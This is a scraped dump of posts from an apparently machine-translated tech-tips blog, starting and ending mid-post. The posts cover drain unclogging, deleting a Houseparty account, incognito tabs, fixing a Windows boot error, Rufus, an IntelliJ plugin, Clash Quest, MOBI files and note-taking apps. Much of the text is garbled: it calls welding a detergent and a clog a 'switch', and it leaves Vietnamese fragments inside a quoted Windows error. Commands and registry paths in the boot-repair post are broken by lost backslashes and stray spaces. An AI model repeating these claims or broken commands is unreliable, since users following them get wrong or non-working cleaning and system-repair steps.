juice is an acidic, vinegar-like substance that has a cooler aroma.Lemon juice is an appropriate option to clean the sink in the kitchen. Baking soda powder is often used as a versatile cleanser. Salt helps to erode the blockage in the tube. Welding is often used as a general purpose detergent. 3. Pour vinegar and other substances to drain the drain pipe   No need to mix substances before pouring, the mixture will foam itself and chemical reaction occurs.\nFor baking soda and vinegar mixtures: use 1/2 cup of baking soda and 1/2 cup of white vinegar. For lemonade and baking soda: use 1 cup of baking soda and 1 cup of lemonade. For salt, borax and vinegar mixtures: use 1/4 borax cup, 1/4 cup of salt and 1/2 cup of vinegar. Method 2: Impact on the switch point 1. Close and leave the mixture in place   You can use a water hose stopper or a cloth with hot steam to seal the pipe. Seal the pipe within 30 minutes. At this time, the foam will work to corrode the switch.\n2. Vacuum the pipe   Use a small rubber catheter to fit the size of the sink to create an impact on the clogged material. Seal and press the rubber tip down the drain hose and push the tool up and down.\nThe catheter is most effective when filling the bath or sink with water.Water will increase the pressure and make the switch point. 3. Use the hook to pull the garbage out of the switch   If the duct is blocked by hair, use a metal hook and break into a long metal wire with a small hook at the top. Carefully thread the hook end of the metal wire into the pipe. After that, spin the hook to remove all the trash. When the garbage is caught in the hook, gently unplug it.\nPay attention not to scratch the metal bath or sink.Moreover, you should also be careful when bending or bending by very sharp metal. 4. Use a wire pipe interlock tool   The wire pipe interlock tool is shaped like a long piece of metal rope. You need to carefully insert this tool into the drainage pipe. When the string is stuck, turn the rope lightly so that the garbage in the tube gets into the wire, then slowly pull the cord out, the water pipe will be cleared. Then rinse and repeat the process.\nProtective gloves should be worn by metal tools that can be very sharp and prepare an old towel, a small bucket for storing garbage in the pipe.This metal bar can be very sharp. Method 3: Drain the pipe 1. Drain the pipe with hot water   Boil at least 6 cups of hot water or a full kettle. Open the lid and slowly pour hot water down the pipe.\nNote if your home uses plastic pipes, do not use water that is too hot and avoid boiling water into the pipes. 2. Repeat the process   If the water is still draining slowly, repeat the process until the water can completely drain.\nIf the water is still not drained, there is a possibility that a lot of hair gets in the pipe.Therefore, manual operation may be required to clear the switch.Besides, you should call a plumber, especially if the tube completely stops flowing. 3. Use gravity and pressure to discharge the pipe   This is best suited for drainage pipes in the bathtub because you can fill dozens of liters of water into the tub. In addition, flush hot water into the tank then open the drain cover and allow the pressure of the water to block the switch.\nRefer to some more articles:\n7 cleaning products should never be mixed together 9 great home cleaning techniques save time 13 great uses of PAPER you may not know Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6zedOhnGacopa2r3nHqKqeZaedsq95wqWmoJ%2BVmXq4tdOhZK%2Bhnpq0or6MrKCmqJyaeqK6w2acn56VmMGqwsQ%3D\n","link":"/post/how-to-clear-the-drain-hose-when-clogged-with-vinegar-simple-and-effective/","section":"post","tags":null,"title":"How to clear the drain hose when clogged with vinegar simple and effective"},{"body":"Video calls and conferencing are now becoming the solution for many teleworkers during the Covid-19 season. But the fact that you make calls at home with a lot of noise around your environment will affect the call quality. Krisp will help you solve all the aforementioned, apply with Zoom, Skype, FaceTime and many other video or audio calling services on Mac, iPhone and iPad.\nDownload Krisp at https://krisp.ai\u0026nbsp;, you can use the free package of Krisp with 2 hours of use on one device for one day and the next the same. If the frequency of meetings and calls more you can refer to the use of a paid plan from 3.3 USD / month.\nThis application uses artificial intelligence (AI) to block out noisy sounds around it, and the performance it brings will improve over time by learning and adapting gradually to your voice.\nUsing 1. On a Mac:\nAfter you install the application on your Mac computer, the application runs in the background and is indicated by the icon located on the top menu bar.\nAnd with any calling app like Zoom, Skype or FaceTime, you need to reconfigure the microphone device for that application from the system microphone to the Krisp's AI microphone. Then make a call to see the effect that the application brings.\n Select Krisp as the default microphone for listening and calling applications\n2. On iPhone and iPad:\nAfter installing the application, you create an account and log into the application.\nIn the application will have a separate caller with AI that automatically removes noise from the surrounding environment. You can use your phone number to make calls (currently the application only supports 2 countries: USA and Canada).\nOr you can connect to the Calendar app to link to Zoom or other video calling services, then join those meetings directly from within the Krisp app.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYybmJyjl6e8trrDZqWooaOaeri0xKdkppmbnruoedWim56nXZiurbjSZqanZZGlva2xjJ2cr6GTmsA%3D\n","link":"/post/how-to-remove-background-noise-when-making-video-calls-on-apple-devices/","section":"post","tags":null,"title":"How to remove background noise when making video calls on Apple devices"},{"body":"After a pretty awesome honeymoon period where Houseparty saw its downloads skyrocket, it seems that everything is crashing back to the ground. Users claim their accounts were compromised to the point that other apps were affected, and Houseparty responded with a bounty to find who's responsible for a smear campaign.\nIf you don't want the headache of being stuck in the middle, here's how you can Remove\u0026nbsp;Houseparty completely and wash your hands of the situation.\nRemove Houseparty account on Android device Open your email app of choice on your Android phone. Create a new email. Enter\u0026nbsp;support@houseparty.com\u0026nbsp;in the recipients box. In the subject line, type\u0026nbsp;Request to Delete Account.   In the body of the email, you need to include the following pieces of information\nYour full name Email Address Houseparty App Username Your phone number Once Houseparty support has received your email, the company will confirm that the account has been deleted completely.\nRemove Houseparty account on iOS device Tap the\u0026nbsp;User\u0026nbsp;icon in the top left-hand corner. Select the\u0026nbsp;Settings\u0026nbsp;icon in the drop-down menu. Tap on\u0026nbsp;Privacy. Select\u0026nbsp;Delete Account. Confirm that you want to proceed. Enter your password. Tap\u0026nbsp;Delete   After the account deletion has been confirmed, you will be taken to the main Houseparty\u0026nbsp;Sign In\u0026nbsp;screen. Then you can go ahead and delete the app from your iPhone completely.\nDid Houseparty get hacked? Earlier in the week,\u0026nbsp;reports started swirling\u0026nbsp;around the fact that Houseparty was hacked, with users receiving repeated requests for passwords. Some users couldn't to log into their accounts at all, and everyone was left wanting answers. In some instances, other apps like Spotify and Instagram were seemingly compromised after Houseparty was installed, creating suspicion that the popular video chat app was the culprit.\nHouseparty maintained that it had not been hacked, nor had any of its users' private information been leaked. So in response, the company announced a $1 million bounty to anyone who can prove that the issues were caused by a \"smear campaign.\" So while Houseparty claims that there have been no clear \"hacks,\" there's definitely something going on here, and only time will tell what has really happened.\nWhat should you use instead? Chances are that you will still want a way to chat with a few of your friends, even if Houseparty is no longer on the table. Google Duo is actually a pretty solid way to video chat with your friends, although it's not as \"flashy\" as something like Houseparty. The app still allows up to eight members in a chat at one time, and works cross-platform on both iOS and Android.\nUnfortunately, there are no \"games\" to speak of built into Duo, the app has a few fun features like masks and overlays that you can use. Plus, it's completely free and you won't have to worry about paying anything to unlock \"additional\" features. And the service has been regularly updated and works better than ever.\nHouseparty ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyypq6qXZ28tr%2FEqZirrKlirqSvzq6lrQ%3D%3D\n","link":"/post/how-to-remove-houseparty-account/","section":"post","tags":null,"title":"How to Remove houseparty account"},{"body":"Incognito tab is a browsing feature that almost every browser must have. This feature will help us surf the web without fear of revealing personal information and all our browsing data will not be saved by the browser. The following article of TipsMake.com will guide you how to open incognito tabs on Android phones, please refer.\n  1. Open an incognito tab on the Chrome browser For those who use Chrome browser on Android phones, to open incognito tab, click on the Menu icon 3 dots on the corner of the browser then select the new Incognito tab item is.\n  2. Open an incognito tab on UC Browser For UC Browser, you click on tab management icon then at the new interface you click on the strange icon as shown below is the incognito tab feature will be enabled.\n  3. Open an incognito tab on Cốc Cốc browser On Coc Coc browser you do the same as Chrome, first click on the Coc Coc icon and then select the new Incognito Tab .\n  4. Open an incognito tab on the Opera browser To open an incognito tab in Opera browser, first click on the tab management icon. In the tab management interface, you swipe left to switch to Privacy section , after switching to Privacy section, click the plus sign to create a new incognito tab.\n  5. Open an incognito tab on FireFox browser To open an incognito tab on FireFox browser, press the Menu button 3 dots on the screen then select New privacy tab, so incognito tab has been activated.\n  6. Open an incognito tab on SamSung Internet Browser SamSung Internet Browser is a browser used by a lot of people, to open an incognito tab on this browser, first click on the Tab icon, then in the tab management window you choose Enable secret mode. SamSung browser has the ability to set password for incognito tab, you can choose to set password or not. After selecting 1 of the 2 options, the incognito tab mode will be activated.\n  Above is how to enable incognito tabs on popular browsers on android phones, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqusKonqehpKR6ta3BZqanZZGjsbO7yJ1kqaCfo7K0ec6pnKdlmaOwsLPNoquoZaSWr267zWaYp5yipLal\n","link":"/post/how-to-use-incognito-tab-on-android-phones/","section":"post","tags":null,"title":"How to use Incognito Tab on Android phones"},{"body":"\"Inaccessible Boot Device\" is a deadly blue screen error (BSOD). This error usually occurs on Windows 10 after the user uses the Reset This PC feature to restore the Windows 10 computer to the default setting state or to refresh (reinstall) Windows 10 without losing the file or after upgrading the system to Windows 10.\nIf an Inaccessible Boot Device error occurs, you will see an error message on the screen: \" Your PC ran into a problem and needs to restart. We 're just collecting some error info, và bạn khởi chạy lại. If you like big biết thêm, bạn không thể tìm kiếm online sau để này lỗi: INACCESSIBLE BOOT DEVICE \". When a Windows error occurs, the system partition cannot be accessed at startup.\nSo how to fix the error, invite you to refer to the following article of Network Administrator.\n  1. Edit SATA Mode to AHCI on BIOS 1. First open your system power and press the key to access BIOS Setup .\nNote : The keys commonly used to access BIOS SETUP are DEL, F1 or F2 , depending on the model you use.\n2. Find and change SATA Mode from RAID to AHCI .\n3. Save the changes and exit BIOS Setup.\n4. Restart your Windows computer in normal mode. If Windows still fails to boot, apply the following solutions.\n2. Boot in Safe Mode Solution With this solution, first start your computer in Safe Mode, then proceed to Restart (restart).\n- On Windows 7 and Windows Vista: 1. Open your computer, then press F8 to open the Advanced Boot Options Menu.\n2. Use the down arrow key to select the Safe Mode option and press Enter.\n  3. Now that your Windows computer is in Safe Mode, restart your computer and check if Windows has started.\n- On Windows 10 / 8.1 / 8 + Case 1:\nIf your computer boots normally into Windows or can access the Login screen\n1. Press and hold Shift then access Power =\u0026gt; Restart .\n2. After your computer starts, select Troubleshoot =\u0026gt; Advanced Options =\u0026gt; Startup Settings .\n3. Click Restart .\n4. After the computer has finished booting, press F4 key (or key 4) to start Windows in Safe Mode .\n5. Now that your Windows computer is in Safe Mode, restart your computer and check if Windows has started.\n+ Case 2:\nIf Windows cannot boot (cannot access the Login screen):\n1. First, create a USB installation media drive (according to the version of Windows you use).\nReaders can refer to how to create a USB drive containing the Windows XP, 7, 8 and 10 installer here.\n2. Start your computer from the Windows installation media USB drive.\n3. On the Language options window, select Next .\n4. Select Repair your computer .\n5. Next select Troubleshoot =\u0026gt; Advanced Options =\u0026gt; Command Prompt .\n6. Now on the Command Prompt window, enter the command below and press Enter:\nbcdedit / set {default} bootmenupolicy legacy\n  7. Enter exit at the Command Prompt to close the Command Prompt window and restart your computer.\n8. During the boot process, press the F8 key to access the Advanced Boot Options menu.\n9. Use the down arrow key to select the Safe Mode option and press Enter.\n10. Now that your Windows computer is in Safe Mode, restart your computer and check if Windows has booted.\n3. Edit SATA Mode settings on the Registry 1. Create a USB Windows installation media drive (according to the version of Windows you use).\n2. Start your computer from the Windows installation media USB drive.\n3. On the Language options window, click Next .\n4. Select Repair your computer .\n5. Open Command Prompt by following the steps below:\n- On Windows 7 or Vista:\n1. Click Next on the next window.\n  2. Select Command Prompt .\n- On Windows 10 / 8.1 / 8:\nSelect Troubleshoot =\u0026gt; Advanced Options =\u0026gt; Command Prompt .\n6. On the Command Prompt window, enter regedit there and press Enter to open the Registry Editor.\n  7. In the Registry Editor window, find the key named HKEY_LOCAL_MACHINE.\n  8. From the File Menu, select Load Hive .\n  9. On the Load Hive window, find and open the file system according to the path:\n% System_Drive% WindowsSystem32config\n  Note :% System_Drive% is the drive on which you install the Windows operating system (such as C; WindowsSystem32config).\n10. Enter a new key in the Key Name box and click OK .\n  11. Next navigate to the key (in the left pane):\nHKEY_LOCAL_MACHINEControlSet001servicesmsahci\nExamples are: HKEY_LOCAL_MACHINERepairControlSet001servicesmsahci\n12. Next in the right pane, double click on the Start value , then enter 0 in the Value Data box.\n  13. Perform the same steps and set the Start value to 0 for the 2 keys below:\n1. HKEY_LOCAL_MACHINEControlSet001servicespciide\n2. HKEY_LOCAL_MACHINEControlSet001servicesiaStorV\n14. After completing the change, select new key \u0026gt; in HKEY_LOCAL_MACHINE (assuming HKEY_LOCAL_MACHINERepair).\n15. From the File Menu, select Upload Hive.\n  16. Close the Registry Editor window and restart your computer.\nNote :\nEnsure that SATA MODE is set to AHCI on BIOS SETUP.\n17. Restart your Windows computer in normal mode.\n4. Restore your computer to the previous version 1. Create a Windows installation media USB drive according to the version of Windows you use.\n2. Start your computer from the Windows installation media USB drive.\n3. On the Language options window, click Next.\n4. Select Repair your computer .\n5. Restore your computer to the previous version:\n- On Windows 7 or Windows Vista:\n1. Select Next .\n2. Select System Restore .\n3. Follow the on-screen instructions to restore your computer to the previous version.\n- On Windows 10 / 8.1 / 8:\n1. Select Troubleshoot =\u0026gt; Advanced Options =\u0026gt; System Restore .\n2. Follow the on-screen instructions to restore your computer to the previous version.\n5. Perform new Windows installation\nThe final solution to fix the problem is to use the USB Windows installation media drive you created and perform a clean install of Windows.\nRefer to some of the following articles: 3 simple ways to reset BIOS settings This is why you should turn off or use the Webcam tape immediately Instructions for setting up BIOS and UEFI passwords to protect data on your Windows 10 computer safely Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWappZ6wrHnFoq9mp5Zitq%2BtwpycrKuZl7mmecGopq1llJrDqq%2FEZpyrqp%2BnerC6jLCgp5yfrMBufY9xbmaZnpl6uLXNnaawq12rtrTAwA%3D%3D\n","link":"/post/instructions-for-quick-fix-of-inaccessible-boot-device-error-on-windows-10-8-7-and-windows-vista/","section":"post","tags":null,"title":"Instructions for quick fix of 'Inaccessible Boot Device' error on Windows 10/8/7 and Windows Vista"},{"body":"\u0026nbsp;Microsoft always encourages you to use a Microsoft account on Windows 8 or 8.1. When you log in to Windows with a Microsoft account, you will sync Microsoft-supported services such as Teamviewer, app store, Hotmail, . and fully use the new features on Windows 8, 8.1.\n  However, for some of you, the account is only effective to login Login to the computer only. If you are a person who does not need to use all the new features , hates to be bothered , you only need a Local account - Used to Login to Windows. Then you need to follow this article to switch to using a local account instead of a Microsoft account.\nInstructions to switch to Local account on Windows 8, 8.1 First, log in with your Microsoft account. To start ' Switch to a local account ' , you will need to access the Computer settings - PC settings .\nOpening PC settings is quite simple. You just need to hover the mouse on the right corner of the screen, the Charmbar will appear =\u0026gt; Select the Settings section in the Charmbar =\u0026gt; Change PC settings.\nIn the PC settings window, select Accounts or User if on Windows 8.\n  Click the Disconnect section below your Microsoft account name.\n  Perform Switch to Local Account After Disconnect Microsoft account, Windows 8 or 8.1 will receive and guide you through the rest to switch to Local Account. First, you will have to confirm your Microsoft account password for security purposes. Enter your password and click Next \u0026nbsp; to continue.\n  Enter the username and password for the Local account you want to create. Create a password hint if you want and click or click Next to continue.\n  Click on ' Sign out and finish ' to allow Windows 8.1 to complete the account configuration and log back in with the Local account you just created.\n  Once you are logged out, select your new local account to log back in. You now have a local account that works just like any account you previously used in older versions of Windows.\nConclude All your account settings, including the applications that you have downloaded, will be transferred to your new account. Although you will not be logged in with your Microsoft account, it does not disappear.\nYou can still enter that information into any installed application that requires it to unlock their full functionality. This means that you have the option to upgrade to a Microsoft account to download any application you want, then switch back to the Local account.\nncG1vNJzZmismaXArq3KnmWcp51kv6a8y5qanmWdnrCzu9Kona1lkZiwsMHNrWSwoaSdeq27wpqjZpmTmLy2utNmoKdlp567pbvWrGRxZWhm\n","link":"/post/replace-microsoft-account-with-local-account-in-windows-8-8-1/","section":"post","tags":null,"title":"Replace Microsoft account with Local Account in Windows 8, 8.1"},{"body":"The next version of Rufus, a portable USB boot / USB tool (to install Windows or Linux on other computer systems) is useful, now has the option of downloading additional versions of Windows 10 or Windows 8.1 directly from right on the application.\nThe operation is very simple: First, start Rufus, select the disk image ISO you want to use to create a boot flash drive, then connect the Flash drive and press the start button to start the process.\nBesides, Rufus will also provide you with a variety of configuration options, for example: You can choose a GPT or MBR partition scheme, or a file system on the Flash drive.\n  Admire Nvidia's new AI application: Turn MS Paint-style doodle into an artistic 'masterpiece' Rufus 3.5   \nRufus 3.5, now available as a Beta version with additional download options. Previously, to be able to use Rufus, you would first have to download the ISO image manually. However, this process is slightly changed with the release of Rufus 3.5, at least for Windows installations.\nNext, look at the Select button on the program interface (there is a small down arrow icon). Here, you can enable to switch between \"select\" and \"download\" when the option \"Disk or Iso image (Please select)\" is selected in the \"Boot selection\" section.\nRufus will proceed to download the PowerShell script when you select the download option (you must click the download button after selecting to start the process).\n  After that, the system will display the available ISO images that you can download. Note: Rufus only supports official versions from Microsoft and displays operating system versions available after you select Windows 8.1 or Windows 10.\n(Several options are recommended at the present time: You can download Windows 10 versions 1809, 1803, 1707 and even previous Windows versions with new download options).\nNext, you will be asked to choose the version you want to download. For Windows 10, versions of Windows 10 Home / Pro or Windows 10 Education are now available. For Windows 8.1, 2 Regular and Professional versions have been provided (plus special versions like Windows 8.1 N).\nIn the last step, you will need to choose interface language.\nThe selected ISO image will be downloaded from Microsoft. First, make sure your system has enough available storage space. After the download process is complete, you can create a USB drive that can be booted with the downloaded ISO image.\nGoogle launched Stadia platform, just need to connect to the Internet and Chrome browser is playing a terrible game, no need for genuine machines Note: In the above example, we noticed that the selection menu is only displayed on the device that was used to run Rufus, while it will not be displayed on another device. Of course Rufus 3.5 is currently only available in beta form and errors like this are entirely possible. If you encounter the same problem, you can download the PowerShell script manually and run it to get the Windows ISO image.\nOverall, the integration of download options for Windows ISO images is a welcome addition to Rufus. This feature is sure to make Rufus an inherently great tool that will be even more useful, although in fact, it is not too difficult or complicated to access the official download page of Windows 8.1 or Windows 10 on the Microsoft website and download ISO images manually.\nIn addition, developers should consider adding options to download certain ISOs of Linux distributions in future upgrade versions.\nncG1vNJzZmismaXArq3KnmWcp51kv7ay1KxkmpyUmrFuwMeeZKiopJ68r3nTqGSdp6ejubCtw2auoqaUpMS0eZdqZLChnpm8uL%2BMamdmoaOkeqW10Z6araSpYrOzu8xmq6GdXZa9sbjInJitoZ%2Bj\n","link":"/post/rufus-added-the-option-to-download-windows-8-1-windows-10-iso-directly-from-the-application/","section":"post","tags":null,"title":"Rufus added the option to download Windows 8.1, Windows 10 ISO directly from the application"},{"body":"Hello everyone, in previous posts, I have introduced to you a library called Lombok. This library helps us to simplify the creation of POJOs (Plain Old Java Objects) in Java.\nBut in fact, in many projects, we want to be able to generate Entity, DTO classes from the tables in the database because the number of tables and fields in is a lot.\nIf you create it manually, it will be very time consuming and also very error prone. At this point you should install POJO Generator (a great plugin for IntelliJ Idea users).\n#first. Connect to the database First, you have to connect to the database you use through IntelliJ first. Specifically, how to connect data, I already have a separate tutorial article.\nYou can refer here: How to connect MySQL Server in IntelliJ, it's time to quit MySQL Workbench\nIn this article, I will connect to the MySQL database management system as shown below. You can choose any database management system you like.\n  Fill in the connection information (you can refer to the article above for more details) =\u0026gt; then click Apply to connect to the database.   This is the database I connected to. You can click on the Database tab as shown below to open it.\n  #2. Install POJO Generator Plugin The next step is that we will install the POJO Generator utility to be able to automatically generate Entities and DTO classes during Java code.\nYou go to File =\u0026gt; Settings as shown below.\n  In the Plugins tab, select Marketplace as shown below =\u0026gt; Then enter POJO Generator in the search box and click search.\nSearch results, you select the plugin as shown below =\u0026gt; then click Install to install. Finally click OK to confirm and if possible Restart IntelliJ to activate this utility.\n  #3. Generate Entity classes, DTOs based on the database table After installing the plugin, you reopen the Database tab that you just connected in Step 1. Here you want to generate Entity class or DTO class from any table, right-click on that table.\nAt the bottom there will be an option to use POJO Generator. You can click and choose to generate Entities as well as DTOs corresponding to that table.\n  After choosing to generate Entity or DTO, you must choose the folder you will contain the class after it is generated. Here I usually put it in the model folder of the project. You can put it in any folder in the project.\n  After clicking OK, this is the Entity class that the utility has automatically generated for you. The fields in the database will be mapped corresponding to the fields in the generated class.\n  To generate a DTO class, you also do the same as with Entity class.\n  You can create a separate folder called dto to store DTO (Data Transfer Object) classes.\n  And this is the content of the generated DTO file corresponding to the customers table in the database.\n  As you can see, in fact, this plugin still generates setter and getter functions (making Entity and DTO classes untidy and time consuming to compile into .class files)\nTo overcome this drawback, you can delete all the Setter, Getter functions and with the Lombok library as follows.\n  Okay, so I've finished showing you how to install POJO Generator on IntelliJ to automatically generate Entity and DTO classes based on tables in the database.\nWith real projects, it is very important for programmers to have more time to focus on solving business-related problems, with the time saved, the programmer will have the opportunity improve the quality of the source code for the project to be better.\nYes, and extensions/plugins like POJO Generator, Lombok library… were born with just that purpose. Helps to minimize the programmer's time spent on procedural operations.\nHopefully this article will help Java programmers have more tools to optimize their programming time. See you in the next posts\nncG1vNJzZmismaXArq3KnmWcp51kvbC2zmaenqaVp661u9Fmqq6ooKS%2FtXnCq5yarJmjtG68zqOmrGWRqsGwucCtoJyZnKHGbrXNZqCnrJWhuaq2jKKbnpk%3D\n","link":"/post/support-creating-pojos-automatically-in-intellij-idea/","section":"post","tags":null,"title":"Support creating Pojos automatically in Intellij Idea"},{"body":"The Clash Quest Beta came out earlier this month, but it's only available in a few countries designated by NPH Supercell. People in Finland, Sweden, Norway, Denmark and Iceland can experience it normally. If you are not among the above countries and want to experience, please follow the instructions at the link below.\nTop 5 Clash Quest tips for newbies 1. Upgrade your army In Clash Quest, you should upgrade your army to deal more damage to defensive units, most of us lose the battle because the attack unit is too weak (not enough level). The higher your army level is, the more damage you do, the more you can win in Clash Quest. So save money and upgrade your army like Barb, Giant, Archer . in Clash Quest to high as soon as possible.\n  2. Use Spell, effective spells Spells, they play a very important role in your Clash Quest battles. You should use your fireball where there are many defensive huts arranged close together, Fireball deals damage to a 3x3 area. Always try to get maximum value when using Fireball spell.\n3. Use your army properly You should use your troops correctly in Clash Quest engagements, not meaninglessly wasting your troops. There is a feature in Clash Quest that will help you to improve your game. Every time you choose troops in battles, that feature will tell you how much damage your troops will inflict on the enemy. Don't use single pieces, always try to combine units and you can see in the picture below.\n  Touch your troops and you can see the damage of your troops, if the skull icon shows up next to the enemy's towers, it means your troops will take down that hut, a great feature in Clash Little-known Quest.\n4. Unlock Ranking feature You can Unlock the Leaderboard feature after collecting 70 stars, you will play 7-day Battle Seasons with 29 other Clash Quest players. After each Season, you may move to a higher or lower league based on your performance in that season.\nEach day, you will fight your way through Game Mode, by trying to beat many consecutive screens. For each stage you can select units or spells in the Draft. As soon as you pass all levels, the challenge will end.\n5. Get a free reward from the Shop Don't forget to collect free rewards from the store, you can get gold, diamonds, troop upgrade cards . and free tokens, they are used to play battles when you run out of energy.\n  ncG1vNJzZmismaXArq3KnmWcp51kwaq80marqGWgoa66ecKlmKygXabCpr%2FTZp2oql2Xsqi1zaecq6s%3D\n","link":"/post/tips-to-play-clash-quest-for-beginners/","section":"post","tags":null,"title":"Tips to play Clash Quest for beginners"},{"body":"Files with the .MOBI extension are files used to store e-books.Initially, this format is only used on Mobipocket Reader e-reader software.Later, they became more popular and accepted on other electronic reading software.However, the .MOBI format was declared dead in 2011, six years after Amazon acquired Mobipocket (2005).\nWhat is MOBI file? MOBI is a file type designed specifically for mobile devices - or eReader devices with the advantage of compact size, support for bookmarks, notes, editing and JavaScript.In addition, this format is also used as a method of managing digital content rights, to help prevent unauthorized access and use of files.\n  Today, proprietary formats used on Kindle devices suchas AZW3, KF8 and KFX . are developed based on MOBI's platform.And in fact, MOBI format is still supported directly on kindle devices.\nHow to open the .MOBI file Most free eReader programs on desktop computers support opening and viewing MOBI files because this is an e-book format.There are several names like Caliber, FBReader, Mobipocket Reader.\nThe most difficult part of the whole process is to download and install one of the above applications.As for Caliber, after installing this application, all you have to do is click the 'Add books' button, then select one of the options shown in the picture below.\n  How to convert a file in .MOBI format Like other file formats, to convert .MOBI files to other formats, we need to use a specialized software, not simply fix the file extension because this can causing the file to fail.\nCaliber is not just a simple e-book reader, it also gives users the ability to convert e-books to more than 16 different formats.\n  If you do not want to use a third-party conversion application, some software that supports the conversion of online formats are also not bad choices.These software allow converting e-books to some of the more popular formats such as ePUB, PDF, FB2 and LRF.Using online conversion tools has an outstanding advantage, which is time-saving, since you won't have to waste time downloading and installing.\nA number of free online file conversion sites include DocsPal, Convertio, ConvertFiles and Zamzar.You just need to visit one of the websites above, upload the file and choose the format you want to convert.After the conversion process is complete, the software will provide you with a link or send you an email attached to the converted file for you to download.\n  See more:\nThe best online file conversion tools for all your formatting needs Select tablet or e-reader to read books? 5 convenient free library eBooks for Kindle ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWdpK%2BqecWio55lmKTEbsDOZqapnZ5irm65zpugZp6ZobI%3D\n","link":"/post/what-is-mobi-file-how-to-open-a-mobi-file/","section":"post","tags":null,"title":"What is MOBI file? How to open a MOBI file?"},{"body":"\"The Redmond giant\" has just launched a test of a new online service about its scope of operation and purpose: Windows Live Mesh, a service similar to the online operating system, users Can connect and synchronize data from many different devices. \" Live Mesh was developed in two years with the best efforts from the development team, \" said Ray Ozzie, chief software engineer at Microsoft, \" If successful, Live Mesh will change the way. computers and other devices interact with each other and with Internet services Microsoft wants data and applications to be accessed from anywhere, offline or online, using any device \".\nTo achieve this goal, Microsoft has created a core synchronization platform based on its FeedSync technology. Live Mesh takes the idea of ​​RSS news that is used to share news, extending to information and data used by web services and desktop applications.\n Live Mesh is a plan to regain market share of online services from Google (Google Gears) and Yahoo! when Windows was quite old. Live Mesh solution is somewhat similar to Google's Android operating system solution for mobile phones. From a simple point of view, we will see Microsoft's idea of ​​creating a \"Windows for the web\" and engaging developers to build applications on this new platform. More notably for developers is that the combination with the operating system will allow the application or function to be executed even when it is offline. Consumers will benefit from being in a location but accessing many of their different devices, including running web applications in a friendly environment similar to Windows' desktop. In Live Mesh, Windows's My Computer will have a new name called My Mesh , which displays different devices, although it is currently limited to Windows XP and Vista computers. Live Desktop becomes one of these devices, the user's hard drive is called \"cloud\". With the hope that Live Mesh will be the destination of all web users, Microsoft developed Live Mesh that works well on all three most popular browsers, Internet Explorer, FireFox and Safari. During the technology testing phase, test users will have a storage capacity of 5GB and two applications . This is an example of the Live Mesh platform capable of data sharing and access, remote management (Remote Desktop). Files and folders are part of Live Mesh, which can be managed via Live Desktop as well as other devices on Live Mesh. In order for devices to connect to Live Mesh, users must install a 2MB software called the Mesh Operating Environment . It will install the Live Mesh Notifier application , notify you of problems in Live Mesh, and the Mesh Companion will be mounted to the Windows Explorer window. Live Mesh data sharing has been simplified and will be implemented in addition to Mac and mobile phones. The success of Live Mesh depends on the number of applications for it. Microsoft understands this, so the REST API will be released to application developers. Applications for Live Mesh include offline and online operations, so changes made when offline will automatically be synchronized to the service when online. P2P technology will help minimize bandwidth usage to a minimum. Live Mesh is also a \"child\" in Microsoft's Live family so it is possible that other Live siblings will be combined into Mesh such as Hotmail, Photos, Spaces . During the technology testing phase , Microsoft will conduct 10,000 selective test users, obtaining feedback on what is and what is not. Microsoft hopes to carry out important repairs and upgrades to Live Mesh in the next 9-12 months.\n  Combined into Windows Explorer\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWcnsOmecyeqqFlp567pbvWrGSoppyeu6Z5xaipZp2mmr%2B6u82e\n","link":"/post/windows-live-mesh-windows-online-for-everyone/","section":"post","tags":null,"title":"Windows Live Mesh: Windows online for everyone"},{"body":"Evernote has almost become a standard tool for storing all kinds of information online. Data can be easily accessed from any computer with an Internet connection. Besides, a variety of mobile applications also allow users to access more devices.\nWhether you're working independently or collaborating with a group, Evernote is still a versatile tool that can be used for a variety of purposes, from project management to keeping recipes. However, Evernote will not be suitable for everyone. If you are looking for a tool that can be used to store notes online, see the following Evernote alternatives!\nReplace the Evernote app with 1 of the following 5 tools 1. iA Writer 2. Google Keep 3. Quip 4. OneNote 5. Simplenote 1. iA Writer Supported platforms: Windows, Mac, Android, iOS.\n  The name 'cult' in recent years is iA Writer, a simple text editor application that acts as a note-taking application. iA Writer stores all content in traditional typewriter fonts, without fancy colors and typography, simply writing the content you need to remember.\niA Writer seems more like a word processor than a note-taking application, but this tool supports Markdown, which allows you to quickly surf between pages, arrange documents in a coherent and quick search. document. iA Writer really plays its role when writing medium to long notes, such as lectures, talks, conferences, etc.\n2. Google Keep Supported platforms: Windows, Mac, Android, iOS, browser.\n  Google Keep is a very simple tool. Especially, for basic listings, this is a great tool. Google Keep can be used to store reminders or notes. This is a Google product, so it's no surprise that not only is a great Android app useful, but there's also a Chrome extension as well as an online version.\nGoogle Keep is very simple and everything is synchronized, so you can access your notes, no matter what device you are using. Google Keep is really an Android application. Extensions and online versions for Chrome are just great additions, so few users feel attracted and want to use them.\n3. Quip Supported platforms: Windows, Mac, Android, iOS, browser.\n  Quip is a note-taking tool available for iOS, Android as well as Mac, PC and even online. This is a tool designed for collaboration purposes and has a lot of features related to this. Files or folders containing a lot of files can be easily shared with others and the built-in chat feature in Quip is very suitable for group projects.\nThere is an option to keep some private notes if you want to use this tool for personal and business purposes at the same time. Real-time collaboration is what makes Quip shine. In addition, there are other unique features like Twitter-like comments and notifications so you can track who has seen the changes you have made.\n4. OneNote Supported platforms: Windows, Mac, Android, iOS, Linux browsers.\n  The Microsoft, OneNote note application is a tool that has been developed a lot over the years. Available as part of Office 365, this tool can also be downloaded separately for iPhone, iPad, Windows phone and Android for free. Notes can take many forms, such as lists, photos and voice notes. All will be synchronized for easy access on different devices.\nMobile widgets mean access to the application is quick and simple, eliminating the risk of suddenly forgetting what you want to record. The ability to create notes based on images, or even voices, makes OneNote a very versatile tool. Although there are not as many features as some alternatives to Evernote, OneNote is still worth considering.\n5. Simplenote Supported platforms: Windows, Mac, Android, iOS, Linux browsers.\n  Simplenote, true to its name, actually keeps things very simple. There are web apps and some apps dedicated to iOS, Android, Kindle and Mac available. Like Google Keep, Simplenote does not stand out thanks to additional features. It is here to complete the job as simply as possible. All notes you create are automatically backed up and synced online to be 